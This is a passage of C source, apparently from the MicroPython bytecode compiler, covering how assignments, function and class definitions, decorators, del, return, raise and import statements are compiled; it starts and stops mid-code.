*comp, mp_parse_node_struct_t *pns, assign_kind_t assign_kind) {\n    if (assign_kind != ASSIGN_AUG_STORE) {\n        compile_node(comp, pns->nodes[0]);\n    }\n\n    if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) {\n        mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1];\n        if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_atom_expr_trailers) {\n            int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1);\n            if (assign_kind != ASSIGN_AUG_STORE) {\n                for (int i = 0; i < n - 1; i++) {\n                    compile_node(comp, pns1->nodes[i]);\n                }\n            }\n            assert(MP_PARSE_NODE_IS_STRUCT(pns1->nodes[n - 1]));\n            pns1 = (mp_parse_node_struct_t*)pns1->nodes[n - 1];\n        }\n        if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_bracket) {\n            if (assign_kind == ASSIGN_AUG_STORE) {\n                EMIT(rot_three);\n                EMIT(store_subscr);\n            } else {\n                compile_node(comp, pns1->nodes[0]);\n                if (assign_kind == ASSIGN_AUG_LOAD) {\n                    EMIT(dup_top_two);\n                    EMIT(load_subscr);\n                } else {\n                    EMIT(store_subscr);\n                }\n            }\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_period) {\n            assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0]));\n            if (assign_kind == ASSIGN_AUG_LOAD) {\n                EMIT(dup_top);\n                EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]));\n            } else {\n                if (assign_kind == ASSIGN_AUG_STORE) {\n                    EMIT(rot_two);\n                }\n                EMIT_ARG(store_attr, MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]));\n            }\n        } else {\n            goto cannot_assign;\n        }\n    } else {\n        goto cannot_assign;\n    }\n\n    return;\n\ncannot_assign:\n    compile_syntax_error(comp, (mp_parse_node_t)pns, \"can't assign to expression\");\n}\n\n// we need to allow for a caller passing in 1 initial node (node_head) followed by an array of nodes (nodes_tail)\nSTATIC void c_assign_tuple(compiler_t *comp, mp_parse_node_t node_head, uint num_tail, mp_parse_node_t *nodes_tail) {\n    uint num_head = (node_head == MP_PARSE_NODE_NULL) ? 0 : 1;\n\n    // look for star expression\n    uint have_star_index = -1;\n    if (num_head != 0 && MP_PARSE_NODE_IS_STRUCT_KIND(node_head, PN_star_expr)) {\n        EMIT_ARG(unpack_ex, 0, num_tail);\n        have_star_index = 0;\n    }\n    for (uint i = 0; i < num_tail; i++) {\n        if (MP_PARSE_NODE_IS_STRUCT_KIND(nodes_tail[i], PN_star_expr)) {\n            if (have_star_index == (uint)-1) {\n                EMIT_ARG(unpack_ex, num_head + i, num_tail - i - 1);\n                have_star_index = num_head + i;\n            } else {\n                compile_syntax_error(comp, nodes_tail[i], \"multiple *x in assignment\");\n                return;\n            }\n        }\n    }\n    if (have_star_index == (uint)-1) {\n        EMIT_ARG(unpack_sequence, num_head + num_tail);\n    }\n    if (num_head != 0) {\n        if (0 == have_star_index) {\n            c_assign(comp, ((mp_parse_node_struct_t*)node_head)->nodes[0], ASSIGN_STORE);\n        } else {\n            c_assign(comp, node_head, ASSIGN_STORE);\n        }\n    }\n    for (uint i = 0; i < num_tail; i++) {\n        if (num_head + i == have_star_index) {\n            c_assign(comp, ((mp_parse_node_struct_t*)nodes_tail[i])->nodes[0], ASSIGN_STORE);\n        } else {\n            c_assign(comp, nodes_tail[i], ASSIGN_STORE);\n        }\n    }\n}\n\n// assigns top of stack to pn\nSTATIC void c_assign(compiler_t *comp, mp_parse_node_t pn, assign_kind_t assign_kind) {\n    assert(!MP_PARSE_NODE_IS_NULL(pn));\n    if (MP_PARSE_NODE_IS_LEAF(pn)) {\n        if (MP_PARSE_NODE_IS_ID(pn)) {\n            qstr arg = MP_PARSE_NODE_LEAF_ARG(pn);\n            switch (assign_kind) {\n                case ASSIGN_STORE:\n                case ASSIGN_AUG_STORE:\n                    compile_store_id(comp, arg);\n                    break;\n                case ASSIGN_AUG_LOAD:\n                default:\n                    compile_load_id(comp, arg);\n                    break;\n            }\n        } else {\n            goto cannot_assign;\n        }\n    } else {\n        // pn must be a struct\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        switch (MP_PARSE_NODE_STRUCT_KIND(pns)) {\n            case PN_atom_expr_normal:\n                // lhs is an index or attribute\n                c_assign_atom_expr(comp, pns, assign_kind);\n                break;\n\n            case PN_testlist_star_expr:\n            case PN_exprlist:\n                // lhs is a tuple\n                if (assign_kind != ASSIGN_STORE) {\n                    goto cannot_assign;\n                }\n                c_assign_tuple(comp, MP_PARSE_NODE_NULL, MP_PARSE_NODE_STRUCT_NUM_NODES(pns), pns->nodes);\n                break;\n\n            case PN_atom_paren:\n                // lhs is something in parenthesis\n                if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n                    // empty tuple\n                    goto cannot_assign;\n                } else {\n                    assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp));\n                    if (assign_kind != ASSIGN_STORE) {\n                        goto cannot_assign;\n                    }\n                    pns = (mp_parse_node_struct_t*)pns->nodes[0];\n                    goto testlist_comp;\n                }\n                break;\n\n            case PN_atom_bracket:\n                // lhs is something in brackets\n                if (assign_kind != ASSIGN_STORE) {\n                    goto cannot_assign;\n                }\n                if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n                    // empty list, assignment allowed\n                    c_assign_tuple(comp, MP_PARSE_NODE_NULL, 0, NULL);\n                } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)) {\n                    pns = (mp_parse_node_struct_t*)pns->nodes[0];\n                    goto testlist_comp;\n                } else {\n                    // brackets around 1 item\n                    c_assign_tuple(comp, pns->nodes[0], 0, NULL);\n                }\n                break;\n\n            default:\n                goto cannot_assign;\n        }\n        return;\n\n        testlist_comp:\n        // lhs is a sequence\n        if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) {\n            mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[1];\n            if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3b) {\n                // sequence of one item, with trailing comma\n                assert(MP_PARSE_NODE_IS_NULL(pns2->nodes[0]));\n                c_assign_tuple(comp, pns->nodes[0], 0, NULL);\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3c) {\n                // sequence of many items\n                uint n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns2);\n                c_assign_tuple(comp, pns->nodes[0], n, pns2->nodes);\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_comp_for) {\n                goto cannot_assign;\n            } else {\n                // sequence with 2 items\n                goto sequence_with_2_items;\n            }\n        } else {\n            // sequence with 2 items\n            sequence_with_2_items:\n            c_assign_tuple(comp, MP_PARSE_NODE_NULL, 2, pns->nodes);\n        }\n        return;\n    }\n    return;\n\n    cannot_assign:\n    compile_syntax_error(comp, pn, \"can't assign to expression\");\n}\n\n// stuff for lambda and comprehensions and generators:\n//  if n_pos_defaults > 0 then there is a tuple on the stack with the positional defaults\n//  if n_kw_defaults > 0 then there is a dictionary on the stack with the keyword defaults\n//  if both exist, the tuple is above the dictionary (ie the first pop gets the tuple)\nSTATIC void close_over_variables_etc(compiler_t *comp, scope_t *this_scope, int n_pos_defaults, int n_kw_defaults) {\n    assert(n_pos_defaults >= 0);\n    assert(n_kw_defaults >= 0);\n\n    // set flags\n    if (n_kw_defaults > 0) {\n        this_scope->scope_flags |= MP_SCOPE_FLAG_DEFKWARGS;\n    }\n    this_scope->num_def_pos_args = n_pos_defaults;\n\n    // make closed over variables, if any\n    // ensure they are closed over in the order defined in the outer scope (mainly to agree with CPython)\n    int nfree = 0;\n    if (comp->scope_cur->kind != SCOPE_MODULE) {\n        for (int i = 0; i < comp->scope_cur->id_info_len; i++) {\n            id_info_t *id = &comp->scope_cur->id_info[i];\n            if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) {\n                for (int j = 0; j < this_scope->id_info_len; j++) {\n                    id_info_t *id2 = &this_scope->id_info[j];\n                    if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) {\n                        // in MicroPython we load closures using LOAD_FAST\n                        EMIT_LOAD_FAST(id->qst, id->local_num);\n                        nfree += 1;\n                    }\n                }\n            }\n        }\n    }\n\n    // make the function/closure\n    if (nfree == 0) {\n        EMIT_ARG(make_function, this_scope, n_pos_defaults, n_kw_defaults);\n    } else {\n        EMIT_ARG(make_closure, this_scope, nfree, n_pos_defaults, n_kw_defaults);\n    }\n}\n\nSTATIC void compile_funcdef_lambdef_param(compiler_t *comp, mp_parse_node_t pn) {\n    // For efficiency of the code below we extract the parse-node kind here\n    int pn_kind;\n    if (MP_PARSE_NODE_IS_ID(pn)) {\n        pn_kind = -1;\n    } else {\n        assert(MP_PARSE_NODE_IS_STRUCT(pn));\n        pn_kind = MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn);\n    }\n\n    if (pn_kind == PN_typedargslist_star || pn_kind == PN_varargslist_star) {\n        comp->have_star = true;\n        /* don't need to distinguish bare from named star\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n            // bare star\n        } else {\n            // named star\n        }\n        */\n\n    } else if (pn_kind == PN_typedargslist_dbl_star || pn_kind == PN_varargslist_dbl_star) {\n        // named double star\n        // TODO do we need to do anything with this?\n\n    } else {\n        mp_parse_node_t pn_id;\n        mp_parse_node_t pn_equal;\n        if (pn_kind == -1) {\n            // this parameter is just an id\n\n            pn_id = pn;\n            pn_equal = MP_PARSE_NODE_NULL;\n\n        } else if (pn_kind == PN_typedargslist_name) {\n            // this parameter has a colon and/or equal specifier\n\n            mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n            pn_id = pns->nodes[0];\n            //pn_colon = pns->nodes[1]; // unused\n            pn_equal = pns->nodes[2];\n\n        } else {\n            assert(pn_kind == PN_varargslist_name); // should be\n            // this parameter has an equal specifier\n\n            mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n            pn_id = pns->nodes[0];\n            pn_equal = pns->nodes[1];\n        }\n\n        if (MP_PARSE_NODE_IS_NULL(pn_equal)) {\n            // this parameter does not have a default value\n\n            // check for non-default parameters given after default parameters (allowed by parser, but not syntactically valid)\n            if (!comp->have_star && comp->num_default_params != 0) {\n                compile_syntax_error(comp, pn, \"non-default argument follows default argument\");\n                return;\n            }\n\n        } else {\n            // this parameter has a default value\n            // in CPython, None (and True, False?) as default parameters are loaded with LOAD_NAME; don't understandy why\n\n            if (comp->have_star) {\n                comp->num_dict_params += 1;\n                // in MicroPython we put the default dict parameters into a dictionary using the bytecode\n                if (comp->num_dict_params == 1) {\n                    // in MicroPython we put the default positional parameters into a tuple using the bytecode\n                    // we need to do this here before we start building the map for the default keywords\n                    if (comp->num_default_params > 0) {\n                        EMIT_ARG(build_tuple, comp->num_default_params);\n                    } else {\n                        EMIT(load_null); // sentinel indicating empty default positional args\n                    }\n                    // first default dict param, so make the map\n                    EMIT_ARG(build_map, 0);\n                }\n\n                // compile value then key, then store it to the dict\n                compile_node(comp, pn_equal);\n                EMIT_ARG(load_const_str, MP_PARSE_NODE_LEAF_ARG(pn_id));\n                EMIT(store_map);\n            } else {\n                comp->num_default_params += 1;\n                compile_node(comp, pn_equal);\n            }\n        }\n    }\n}\n\nSTATIC void compile_funcdef_lambdef(compiler_t *comp, scope_t *scope, mp_parse_node_t pn_params, pn_kind_t pn_list_kind) {\n    // When we call compile_funcdef_lambdef_param below it can compile an arbitrary\n    // expression for default arguments, which may contain a lambda.  The lambda will\n    // call here in a nested way, so we must save and restore the relevant state.\n    bool orig_have_star = comp->have_star;\n    uint16_t orig_num_dict_params = comp->num_dict_params;\n    uint16_t orig_num_default_params = comp->num_default_params;\n\n    // compile default parameters\n    comp->have_star = false;\n    comp->num_dict_params = 0;\n    comp->num_default_params = 0;\n    apply_to_single_or_list(comp, pn_params, pn_list_kind, compile_funcdef_lambdef_param);\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        return;\n    }\n\n    // in MicroPython we put the default positional parameters into a tuple using the bytecode\n    // the default keywords args may have already made the tuple; if not, do it now\n    if (comp->num_default_params > 0 && comp->num_dict_params == 0) {\n        EMIT_ARG(build_tuple, comp->num_default_params);\n        EMIT(load_null); // sentinel indicating empty default keyword args\n    }\n\n    // make the function\n    close_over_variables_etc(comp, scope, comp->num_default_params, comp->num_dict_params);\n\n    // restore state\n    comp->have_star = orig_have_star;\n    comp->num_dict_params = orig_num_dict_params;\n    comp->num_default_params = orig_num_default_params;\n}\n\n// leaves function object on stack\n// returns function name\nSTATIC qstr compile_funcdef_helper(compiler_t *comp, mp_parse_node_struct_t *pns, uint emit_options) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this function\n        scope_t *s = scope_new_and_link(comp, SCOPE_FUNCTION, (mp_parse_node_t)pns, emit_options);\n        // store the function scope so the compiling function can use it at each pass\n        pns->nodes[4] = (mp_parse_node_t)s;\n    }\n\n    // get the scope for this function\n    scope_t *fscope = (scope_t*)pns->nodes[4];\n\n    // compile the function definition\n    compile_funcdef_lambdef(comp, fscope, pns->nodes[1], PN_typedargslist);\n\n    // return its name (the 'f' in \"def f(...):\")\n    return fscope->simple_name;\n}\n\n// leaves class object on stack\n// returns class name\nSTATIC qstr compile_classdef_helper(compiler_t *comp, mp_parse_node_struct_t *pns, uint emit_options) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this class\n        scope_t *s = scope_new_and_link(comp, SCOPE_CLASS, (mp_parse_node_t)pns, emit_options);\n        // store the class scope so the compiling function can use it at each pass\n        pns->nodes[3] = (mp_parse_node_t)s;\n    }\n\n    EMIT(load_build_class);\n\n    // scope for this class\n    scope_t *cscope = (scope_t*)pns->nodes[3];\n\n    // compile the class\n    close_over_variables_etc(comp, cscope, 0, 0);\n\n    // get its name\n    EMIT_ARG(load_const_str, cscope->simple_name);\n\n    // nodes[1] has parent classes, if any\n    // empty parenthesis (eg class C():) gets here as an empty PN_classdef_2 and needs special handling\n    mp_parse_node_t parents = pns->nodes[1];\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(parents, PN_classdef_2)) {\n        parents = MP_PARSE_NODE_NULL;\n    }\n    compile_trailer_paren_helper(comp, parents, false, 2);\n\n    // return its name (the 'C' in class C(...):\")\n    return cscope->simple_name;\n}\n\n// returns true if it was a built-in decorator (even if the built-in had an error)\nSTATIC bool compile_built_in_decorator(compiler_t *comp, int name_len, mp_parse_node_t *name_nodes, uint *emit_options) {\n    if (MP_PARSE_NODE_LEAF_ARG(name_nodes[0]) != MP_QSTR_micropython) {\n        return false;\n    }\n\n    if (name_len != 2) {\n        compile_syntax_error(comp, name_nodes[0], \"invalid micropython decorator\");\n        return true;\n    }\n\n    qstr attr = MP_PARSE_NODE_LEAF_ARG(name_nodes[1]);\n    if (attr == MP_QSTR_bytecode) {\n        *emit_options = MP_EMIT_OPT_BYTECODE;\n#if MICROPY_EMIT_NATIVE\n    } else if (attr == MP_QSTR_native) {\n        *emit_options = MP_EMIT_OPT_NATIVE_PYTHON;\n    } else if (attr == MP_QSTR_viper) {\n        *emit_options = MP_EMIT_OPT_VIPER;\n#endif\n    #if MICROPY_EMIT_INLINE_ASM\n    } else if (attr == ASM_DECORATOR_QSTR) {\n        *emit_options = MP_EMIT_OPT_ASM;\n    #endif\n    } else {\n        compile_syntax_error(comp, name_nodes[1], \"invalid micropython decorator\");\n    }\n\n    return true;\n}\n\nSTATIC void compile_decorated(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // get the list of decorators\n    mp_parse_node_t *nodes;\n    int n = mp_parse_node_extract_list(&pns->nodes[0], PN_decorators, &nodes);\n\n    // inherit emit options for this function/class definition\n    uint emit_options = comp->scope_cur->emit_options;\n\n    // compile each decorator\n    int num_built_in_decorators = 0;\n    for (int i = 0; i < n; i++) {\n        assert(MP_PARSE_NODE_IS_STRUCT_KIND(nodes[i], PN_decorator)); // should be\n        mp_parse_node_struct_t *pns_decorator = (mp_parse_node_struct_t*)nodes[i];\n\n        // nodes[0] contains the decorator function, which is a dotted name\n        mp_parse_node_t *name_nodes;\n        int name_len = mp_parse_node_extract_list(&pns_decorator->nodes[0], PN_dotted_name, &name_nodes);\n\n        // check for built-in decorators\n        if (compile_built_in_decorator(comp, name_len, name_nodes, &emit_options)) {\n            // this was a built-in\n            num_built_in_decorators += 1;\n\n        } else {\n            // not a built-in, compile normally\n\n            // compile the decorator function\n            compile_node(comp, name_nodes[0]);\n            for (int j = 1; j < name_len; j++) {\n                assert(MP_PARSE_NODE_IS_ID(name_nodes[j])); // should be\n                EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(name_nodes[j]));\n            }\n\n            // nodes[1] contains arguments to the decorator function, if any\n            if (!MP_PARSE_NODE_IS_NULL(pns_decorator->nodes[1])) {\n                // call the decorator function with the arguments in nodes[1]\n                compile_node(comp, pns_decorator->nodes[1]);\n            }\n        }\n    }\n\n    // compile the body (funcdef, async funcdef or classdef) and get its name\n    mp_parse_node_struct_t *pns_body = (mp_parse_node_struct_t*)pns->nodes[1];\n    qstr body_name = 0;\n    if (MP_PARSE_NODE_STRUCT_KIND(pns_body) == PN_funcdef) {\n        body_name = compile_funcdef_helper(comp, pns_body, emit_options);\n    #if MICROPY_PY_ASYNC_AWAIT\n    } else if (MP_PARSE_NODE_STRUCT_KIND(pns_body) == PN_async_funcdef) {\n        assert(MP_PARSE_NODE_IS_STRUCT(pns_body->nodes[0]));\n        mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns_body->nodes[0];\n        body_name = compile_funcdef_helper(comp, pns0, emit_options);\n        scope_t *fscope = (scope_t*)pns0->nodes[4];\n        fscope->scope_flags |= MP_SCOPE_FLAG_GENERATOR;\n    #endif\n    } else {\n        assert(MP_PARSE_NODE_STRUCT_KIND(pns_body) == PN_classdef); // should be\n        body_name = compile_classdef_helper(comp, pns_body, emit_options);\n    }\n\n    // call each decorator\n    for (int i = 0; i < n - num_built_in_decorators; i++) {\n        EMIT_ARG(call_function, 1, 0, 0);\n    }\n\n    // store func/class object into name\n    compile_store_id(comp, body_name);\n}\n\nSTATIC void compile_funcdef(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    qstr fname = compile_funcdef_helper(comp, pns, comp->scope_cur->emit_options);\n    // store function object into function name\n    compile_store_id(comp, fname);\n}\n\nSTATIC void c_del_stmt(compiler_t *comp, mp_parse_node_t pn) {\n    if (MP_PARSE_NODE_IS_ID(pn)) {\n        compile_delete_id(comp, MP_PARSE_NODE_LEAF_ARG(pn));\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_atom_expr_normal)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n\n        compile_node(comp, pns->nodes[0]); // base of the atom_expr_normal node\n\n        if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) {\n            mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1];\n            if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_atom_expr_trailers) {\n                int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1);\n                for (int i = 0; i < n - 1; i++) {\n                    compile_node(comp, pns1->nodes[i]);\n                }\n                assert(MP_PARSE_NODE_IS_STRUCT(pns1->nodes[n - 1]));\n                pns1 = (mp_parse_node_struct_t*)pns1->nodes[n - 1];\n            }\n            if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_bracket) {\n                compile_node(comp, pns1->nodes[0]);\n                EMIT(delete_subscr);\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_period) {\n                assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0]));\n                EMIT_ARG(delete_attr, MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]));\n            } else {\n                goto cannot_delete;\n            }\n        } else {\n            goto cannot_delete;\n        }\n\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_atom_paren)) {\n        pn = ((mp_parse_node_struct_t*)pn)->nodes[0];\n        if (MP_PARSE_NODE_IS_NULL(pn)) {\n            goto cannot_delete;\n        } else {\n            assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_testlist_comp));\n            mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n            // TODO perhaps factorise testlist_comp code with other uses of PN_testlist_comp\n\n            if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) {\n                mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1];\n                if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_testlist_comp_3b) {\n                    // sequence of one item, with trailing comma\n                    assert(MP_PARSE_NODE_IS_NULL(pns1->nodes[0]));\n                    c_del_stmt(comp, pns->nodes[0]);\n                } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_testlist_comp_3c) {\n                    // sequence of many items\n                    int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1);\n                    c_del_stmt(comp, pns->nodes[0]);\n                    for (int i = 0; i < n; i++) {\n                        c_del_stmt(comp, pns1->nodes[i]);\n                    }\n                } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_comp_for) {\n                    goto cannot_delete;\n                } else {\n                    // sequence with 2 items\n                    goto sequence_with_2_items;\n                }\n            } else {\n                // sequence with 2 items\n                sequence_with_2_items:\n                c_del_stmt(comp, pns->nodes[0]);\n                c_del_stmt(comp, pns->nodes[1]);\n            }\n        }\n    } else {\n        // some arbitrary statement that we can't delete (eg del 1)\n        goto cannot_delete;\n    }\n\n    return;\n\ncannot_delete:\n    compile_syntax_error(comp, (mp_parse_node_t)pn, \"can't delete expression\");\n}\n\nSTATIC void compile_del_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    apply_to_single_or_list(comp, pns->nodes[0], PN_exprlist, c_del_stmt);\n}\n\nSTATIC void compile_break_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->break_label == INVALID_LABEL) {\n        compile_syntax_error(comp, (mp_parse_node_t)pns, \"'break' outside loop\");\n    }\n    assert(comp->cur_except_level >= comp->break_continue_except_level);\n    EMIT_ARG(break_loop, comp->break_label, comp->cur_except_level - comp->break_continue_except_level);\n}\n\nSTATIC void compile_continue_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->continue_label == INVALID_LABEL) {\n        compile_syntax_error(comp, (mp_parse_node_t)pns, \"'continue' outside loop\");\n    }\n    assert(comp->cur_except_level >= comp->break_continue_except_level);\n    EMIT_ARG(continue_loop, comp->continue_label, comp->cur_except_level - comp->break_continue_except_level);\n}\n\nSTATIC void compile_return_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->scope_cur->kind != SCOPE_FUNCTION) {\n        compile_syntax_error(comp, (mp_parse_node_t)pns, \"'return' outside function\");\n        return;\n    }\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n        // no argument to 'return', so return None\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    } else if (MICROPY_COMP_RETURN_IF_EXPR\n        && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_test_if_expr)) {\n        // special case when returning an if-expression; to match CPython optimisation\n        mp_parse_node_struct_t *pns_test_if_expr = (mp_parse_node_struct_t*)pns->nodes[0];\n        mp_parse_node_struct_t *pns_test_if_else = (mp_parse_node_struct_t*)pns_test_if_expr->nodes[1];\n\n        uint l_fail = comp_next_label(comp);\n        c_if_cond(comp, pns_test_if_else->nodes[0], false, l_fail); // condition\n        compile_node(comp, pns_test_if_expr->nodes[0]); // success value\n        EMIT(return_value);\n        EMIT_ARG(label_assign, l_fail);\n        compile_node(comp, pns_test_if_else->nodes[1]); // failure value\n    } else {\n        compile_node(comp, pns->nodes[0]);\n    }\n    EMIT(return_value);\n}\n\nSTATIC void compile_yield_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_node(comp, pns->nodes[0]);\n    EMIT(pop_top);\n}\n\nSTATIC void compile_raise_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n        // raise\n        EMIT_ARG(raise_varargs, 0);\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_raise_stmt_arg)) {\n        // raise x from y\n        pns = (mp_parse_node_struct_t*)pns->nodes[0];\n        compile_node(comp, pns->nodes[0]);\n        compile_node(comp, pns->nodes[1]);\n        EMIT_ARG(raise_varargs, 2);\n    } else {\n        // raise x\n        compile_node(comp, pns->nodes[0]);\n        EMIT_ARG(raise_varargs, 1);\n    }\n}\n\n// q_base holds the base of the name\n// eg   a -> q_base=a\n//      a.b.c -> q_base=a\nSTATIC void do_import_name(compiler_t *comp, mp_parse_node_t pn, qstr *q_base) {\n    bool is_as = false;\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_dotted_as_name)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        // a name of the form x as y; unwrap it\n        *q_base = MP_PARSE_NODE_LEAF_ARG(pns->nodes[1]);\n        pn = pns->nodes[0];\n        is_as = true;\n    }\n    if (MP_PARSE_NODE_IS_NULL(pn)) {\n        // empty name (eg, from . import x)\n        *q_base = MP_QSTR_;\n        EMIT_ARG(import_name, MP_QSTR_); // import the empty string\n    } else if (MP_PARSE_NODE_IS_ID(pn)) {\n        // just a simple name\n        qstr q_full = MP_PARSE_NODE_LEAF_ARG(pn);\n        if (!is_as) {\n            *q_base = q_full;\n        }\n        EMIT_ARG(import_name, q_full);\n    } else {\n        assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_dotted_name)); // should be\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        {\n            // a name of the form a.b.c\n            if (!is_as) {\n                *q_base = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n            }\n            int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n            int len = n - 1;\n            for (int i = 0; i < n; i++) {\n                len += qstr_len(MP_PARSE_NODE_LEAF_ARG(pns->nodes[i]));\n            }\n            byte *q_ptr;\n            byte *str_dest = qstr_build_start(len, &q_ptr);\n            for (int i = 0; i < n; i++) {\n                if (i > 0) {\n                    *str_dest++ = '.';\n                }\n                size_t str_src_len;\n                const byte *str_src = qstr_data(MP_PARSE_NODE_LEAF_ARG(pns->nodes[i]), &str_src_len);\n                memcpy(str_dest, str_src, str_src_len);\n                str_dest += str_src_len;\n            }\n            qstr q_full = qstr_build_end(q_ptr);\n            EMIT_ARG(import_name, q_full);\n            if (is_as) {\n                for (int i = 1; i < n; i++) {\n                    EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(pns->nodes[i]));\n                }\n            }\n        }\n    }\n}\n\nSTATIC void compile_dotted_as_name(compiler_t *comp, mp_parse_node_t pn) {\n    EMIT_ARG(load_const_small_int, 0); // level 0 import\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); // not importing from anything\n    qstr q_base;\n    do_import_name(comp, pn, &q_base);\n    compile_store_id(comp, q_base);\n}\n\nSTATIC void compile_import_name(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    apply_to_single_or_list(comp, pns->nodes[0], PN_dotted_as_names, compile_dotted_as_name);\n}\n\nSTATIC void compile_import_from(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    mp_parse_node_t pn_import_source = pns->nodes[0];\n\n    // extract the preceding .'s (if any) for a relative import, to compute the import level\n    uint import_level = 0;\n    do {\n        mp_parse_node_t pn_rel;\n        if (MP_PARSE_NODE_IS_TOKEN(pn_import_source) || MP_PARSE_NODE_IS_STRUCT_KIND(pn_import_source, PN_one_or_more_period_or_ellipsis)) {\n            // This covers relative imports with dots only like \"from .. import\"\n            pn_rel = pn_import_source;\n            pn_import_source = MP_PARSE_NODE_NULL;\n        } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn_import_source, PN_import_from_2b)) {\n            // This covers relative imports starting with dot(s) like \"from .foo import\"\n            mp_parse_node_struct_t *pns_2b = (mp_parse_node_struct_t*)pn_import_source;\n            pn_rel = pns_2b->nodes[0];\n            pn_import_source = pns_2b->nodes[1];\n            assert(!MP_PARSE_NODE_IS_NULL(pn_import_source)); // should not be\n        } else {\n            // Not a relative import\n            break;\n        }\n\n        // get the list of . and/or ...'s\n        mp_parse_node_t *nodes;\n        int n = mp_parse_node_extract_list(&pn_rel, PN_one_or_more_period_or_ellipsis, &nodes);\n\n        // count the total number of .'s\n        for (int i = 0; i < n; i++) {\n            if (MP_PARSE_NODE_IS_TOKEN_KIND(nodes[i], MP_TOKEN_DEL_PERIOD)) {\n                import_level++;\n            } else {\n                // should be an MP_TOKEN_ELLIPSIS\n                import_level += 3;\n            }\n        }\n    } while (0);\n\n    if (MP_PARSE_NODE_IS_TOKEN_KIND(pns->nodes[1], MP_TOKEN_OP_STAR)) {\n        EMIT_ARG(load_const_small_int, import_level);\n\n        // build the \"fromlist\" tuple\n        EMIT_ARG(load_const_str, MP_QSTR__star_);\n        EMIT_ARG(build_tuple, 1);\n\n        // do the import\n        qstr dummy_q;\n        do_import_name(comp, pn_import_source, &dummy_q);\n        EMIT(import_star);\n\n    } else {\n        EMIT_ARG(load_const_small_int, import_level);\n\n        // build the 